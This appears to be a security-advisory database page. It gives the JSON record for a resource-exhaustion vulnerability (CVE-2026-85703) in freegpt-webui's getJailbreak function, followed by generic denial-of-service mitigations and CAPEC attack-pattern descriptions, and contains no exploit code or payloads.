      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/commit/374752563d6ce9353ee592b40c809c8136f24930"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/switcherapi/switcher-client-master"
    },
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/releases/tag/v3.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Switcher Client contains Regular Expression Denial of Service (ReDoS)"
}

GHSA-WR5H-35W3-FVF4

Vulnerability from github – Published: 2026-09-04 21:31 – Updated: 2026-09-04 21:31
VLAI
Details

A flaw has been found in ramon-victor freegpt-webui up to 098db3dfeb41555c2ca9269df0f13e10ec1c35dc. Affected by this issue is the function getJailbreak of the file server/backend.py of the component Jailbreak Mode. Executing a manipulation can lead to allocation of resources. The attack can be executed remotely. The exploit has been published and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. This vulnerability only affects products that are no longer supported by the maintainer.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-85703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T21:17:26Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in ramon-victor freegpt-webui up to 098db3dfeb41555c2ca9269df0f13e10ec1c35dc. Affected by this issue is the function getJailbreak of the file server/backend.py of the component Jailbreak Mode. Executing a manipulation can lead to allocation of resources. The attack can be executed remotely. The exploit has been published and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. This vulnerability only affects products that are no longer supported by the maintainer.",
  "id": "GHSA-wr5h-35w3-fvf4",
  "modified": "2026-09-04T21:31:53Z",
  "published": "2026-09-04T21:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85703"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Galaxync/04d5b16498911c405580c735148a53be"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-85703"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/895268"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/398807"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/398807/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.